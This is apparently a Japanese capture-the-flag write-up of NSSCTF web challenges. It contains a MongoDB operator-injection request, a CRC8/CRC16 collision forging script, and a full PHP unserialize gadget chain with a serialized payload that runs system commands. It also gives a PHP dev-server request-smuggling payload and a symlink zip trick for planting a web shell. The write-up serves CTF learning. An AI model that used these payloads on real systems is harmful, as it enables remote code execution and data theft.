簡単すぎる......出題者!Web問題は他のカテゴリと全く違う感じだよ!
手が鈍くて早く解けなかったwww
WEB
ez_signin
ソースコードを分析すると、POSTパラメータの型がdictの場合、WAFフィルタリングが存在しないことがわかります:
if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})
if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})
したがって、dictでパラメータを渡します。regexモードの*を使用してすべての項目に一致させます:
import requests
import json
url = "http://node9.anna.nssctf.cn:29017/search"
payload = {
"title": {
"$ne": ""
},
"author": {
"$regex": ".*"
}
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, data=json.dumps(payload), headers=headers)
print(json.dumps(response.json(), indent=2))
EzCRC
概要を見ると、POSTとkeyの内容が異なり、長さが同じで、CRC8とCRC16が同じpassを要求しているようです。
スクリプトを自作するのが面倒(怠け)。AIで一発解決:https://chat01.ai/zh/chat/01K3D1CP6G832N98H0H04HQT18
import random
from typing import List, Tuple
def compute_crc16_py(data: bytes) -> int:
checksum = 0xFFFF
for b in data:
checksum ^= b
for _ in range(8):
if checksum & 1:
checksum = ((checksum >> 1) ^ 0xA001)
else:
checksum >>= 1
return checksum & 0xFFFF
crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]
def crc8_py(data: bytes) -> int:
crc = 0
for b in data:
crc = crc8_table[(crc ^ b) & 0xff]
return crc & 0xff
def combined_crc(data: bytes) -> int:
c16 = compute_crc16_py(data)
c8 = crc8_py(data)
return (c8 << 16) | c16
def solve_rectangular(Acols: List[int], bvec: int) -> Tuple[bool, int, List[int]]:
m = len(Acols)
rows = [0]*24
for r in range(24):
row = 0
for j in range(m):
if (Acols[j] >> r) & 1:
row |= (1 << j)
rows[r] = row
bbits = bvec
pivot_col_for_row = [-1]*24
r = 0
for c in range(m):
pivot = None
for rr in range(r,24):
if (rows[rr] >> c) & 1:
pivot = rr; break
if pivot is None:
continue
if pivot != r:
rows[r], rows[pivot] = rows[pivot], rows[r]
br = (bbits >> r) & 1
bp = (bbits >> pivot) & 1
if br != bp:
bbits ^= (1<<r) | (1<<pivot)
for rr in range(24):
if rr != r and ((rows[rr] >> c) & 1):
rows[rr] ^= rows[r]
if ((bbits >> r) & 1):
bbits ^= (1 << rr)
pivot_col_for_row[r] = c
r += 1
if r == 24:
break
if r < 24:
for rr in range(r,24):
if rows[rr] == 0 and ((bbits >> rr) & 1):
return (False, 0, [])
x = 0
for i in range(r-1, -1, -1):
c = pivot_col_for_row[i]
sum_bit = 0
rowmask = rows[i]
mask_ex_pivot = rowmask & ~(1 << c)
tmp = mask_ex_pivot & x
sum_bit = bin(tmp).count("1") & 1
bi = (bbits >> i) & 1
xi = bi ^ sum_bit
if xi:
x |= (1 << c)
pivot_cols = [pivot_col_for_row[i] for i in range(r) if pivot_col_for_row[i] != -1]
return (True, x, pivot_cols)
def find_fully_printable_solution_with_last4():
printable = set(range(0x20, 0x7f))
for attempt in range(200):
prefix = bytes([random.choice(list(printable)) for _ in range(11)])
positions = (11,12,13,14)
base_msg = bytearray(prefix + b'\x00\x00\x00\x00')
base_msg = bytes(base_msg)
target = combined_crc(secret)
base_crc = combined_crc(base_msg)
bvec = base_crc ^ target
Acols = []
for pos in positions:
for bit in range(8):
arr = bytearray(base_msg)
arr[pos] ^= (1 << bit)
delta = combined_crc(bytes(arr)) ^ base_crc
Acols.append(delta)
ok, x_bits, piv = solve_rectangular(Acols, bvec)
if not ok:
continue
m = len(Acols)
rows = [0]*24
for r in range(24):
row = 0
for j in range(m):
if (Acols[j] >> r) & 1:
row |= (1<<j)
rows[r] = row
pivot_row = [-1]*m
pivot_col_for_row = [-1]*24
rnk = 0
for c in range(m):
pivot = None
for rr in range(rnk,24):
if (rows[rr] >> c) & 1:
pivot = rr; break
if pivot is None:
continue
if pivot != rnk:
rows[rnk], rows[pivot] = rows[pivot], rows[rnk]
for rr in range(24):
if rr != rnk and ((rows[rr] >> c) & 1):
rows[rr] ^= rows[rnk]
pivot_col_for_row[rnk] = c
pivot_row[c] = rnk
rnk += 1
if rnk == 24:
break
free_cols = [c for c in range(m) if pivot_row[c] == -1]
nvecs = []
for f in free_cols:
v = 1 << f
for i in range(rnk-1, -1, -1):
c = pivot_col_for_row[i]
rowmask = rows[i]
if bin(v & (rowmask & ~(1<<c))).count("1") & 1:
v ^= (1 << c)
nvecs.append(v)
vals = [(x_bits >> (8*i)) & 0xFF for i in range(4)]
def bytes_from_solution(sol):
return [(sol >> (8*i)) & 0xFF for i in range(4)]
def printable_count(vs):
return sum(1 for b in vs if b in printable)
if all(b in printable for b in vals):
sol = x_bits
else:
best = (printable_count(vals), x_bits)
sol = None
basis_count = min(len(nvecs), 12)
for i in range(basis_count):
s = x_bits ^ nvecs[i]
vs = bytes_from_solution(s)
sc = printable_count(vs)
if sc == 4:
sol = s; break
if sc > best[0]:
best = (sc, s)
if sol is None:
for i in range(basis_count):
for j in range(i+1, basis_count):
s = x_bits ^ nvecs[i] ^ nvecs[j]
vs = bytes_from_solution(s)
sc = printable_count(vs)
if sc == 4:
sol = s; break
if sol is not None: break
if sol is None:
for i in range(basis_count):
for j in range(i+1, basis_count):
for k in range(j+1, basis_count):
s = x_bits ^ nvecs[i] ^ nvecs[j] ^ nvecs[k]
vs = bytes_from_solution(s)
sc = printable_count(vs)
if sc == 4:
sol = s; break
if sol is not None: break
if sol is not None: break
if sol is None:
sol = best[1]
vals = bytes_from_solution(sol)
m_final = bytearray(base_msg)
for i, pos in enumerate(positions):
m_final[pos] = vals[i]
m_final = bytes(m_final)
if all(32 <= b <= 126 for b in m_final) and m_final != secret:
return m_final, vals, prefix
return None
secret = b"Enj0yNSSCTF4th!"
res = find_fully_printable_solution_with_last4()
if res:
print(f"Found solution: {res[0].decode('ascii')}")
cDXM 4pujqY/-ICを入力すると正解です。
[mpga]filesystem
www.zipをダウンロードすると、ソースコードがあります。action=homeのときにPOSTでsubmit_md5を任意の値で送ると任意のデシリアライズが可能です
<?php
class ApplicationFramework{
public $frameworkName;
public function __construct(){
$this->frameworkName = 'ApplicationFramework';
}
public function __destruct(){
$this->frameworkName = strtolower($this->frameworkName);
}
}
class DataProcessor{
private $processedData;
public $callbackFunction;
public function __construct(){
$this->processedData = new CommandExecutor();
}
public function __get($key){
if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {
$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}
class FileHandler{
public $targetFile;
public $responseData = 'default_response';
public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}
public function validatePath(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
die('ファイルパスが不正です');
}
}
public function executeOperation($var){
$targetObject = $this->targetFile;
$value = $targetObject->$var;
}
public function getFileHash(){
$this->validatePath();
if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "ファイルMD5ハッシュ: " . htmlspecialchars($md5_hash);
} else {
die("ファイルが見つかりません");
}
} else if (is_object($this->targetFile)) {
try {
$md5_hash = md5_file($this->targetFile);
return "ファイルMD5ハッシュ (試行): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {
return "MD5ハッシュを計算できません。ファイルパラメータが無効です: " . htmlspecialchars($e->getMessage());
}
} else {
die("ファイルが見つかりません");
}
}
public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}
class CommandExecutor{
public $commandName;
public $commandArgs;
public function __call($name, $arg){
if (function_exists($name)) {
$name($arg[0]);
}
}
}
if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileHandler)) {
$file_object = new FileHandler($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>ファイルパスを入力してMD5検証してください。</p>";
}
}
チェーン:
ApplicationFramework::__destruct()がFileHandler::__toString()を呼び出す
FileHandler::__toString()がexecuteOperationを呼び出す
executeOperationは最終的にDataProcessorとCommandExecutorを介してコマンドを実行する
EXP:
<?php
class ApplicationFramework {
public $frameworkName;
}
class DataProcessor {
private $processedData;
public $callbackFunction;
public function __construct() {
$this->processedData = new CommandExecutor();
}
}
class FileHandler {
public $targetFile;
public $responseData;
public function __construct() {
$this->responseData = "string_response";
}
}
class CommandExecutor {
public function __call($name, $arguments) {
if (function_exists($name)) {
return $name($arguments[0]);
}
}
}
$executor = new CommandExecutor();
$processor = new DataProcessor();
$processor->callbackFunction = 'system';
$fileHandler = new FileHandler();
$fileHandler->targetFile = $processor;
$appFramework = new ApplicationFramework();
$appFramework->frameworkName = $fileHandler;
echo serialize($appFramework);
?>
POSTペイロード(%00を\x00に変更):
file_to_check=O:21:"ApplicationFramework":1:{s:12:"frameworkName";O:11:"FileHandler":2:{s:10:"targetFile";O:14:"DataProcessor":2:{s:32:"%00DataProcessor%00processedData";O:16:"CommandExecutor":0:{}s:16:"callbackFunction";s:6:"system";}s:12:"responseData";s:15:"string_response";}}&method=executeOperation&var=processedData&cmd=dir&submit_md5=1
ローカルでテスト
問題なし リモートで実行:
ez_upload
エラーページからphp開発サーバーであることがわかります。検索すると以下の情報が見つかります:
https://blog.csdn.net/weixin_46203060/article/details/129350280
直接ペイロードをコピーして実行:
GET /index.php HTTP/1.1
Host: node10.anna.nssctf.cn:22764
GET /123.123HTTP/1.1
その後はCISCN unzipと同じ問題解決方法:
シンボリックリンクファイルlinkを作成し、Webサイトのルートディレクトリ/var/www/htmlを指す
同じ名前のフォルダlinkを作成し、フォルダ内にマルウェアファイルを作成
解圧後にlinkファイル(つまり/var/www/htmlディレクトリ)を上書きできるようにする
これによりマルウェアを/var/www/htmlディレクトリに解圧してシェルを取得できる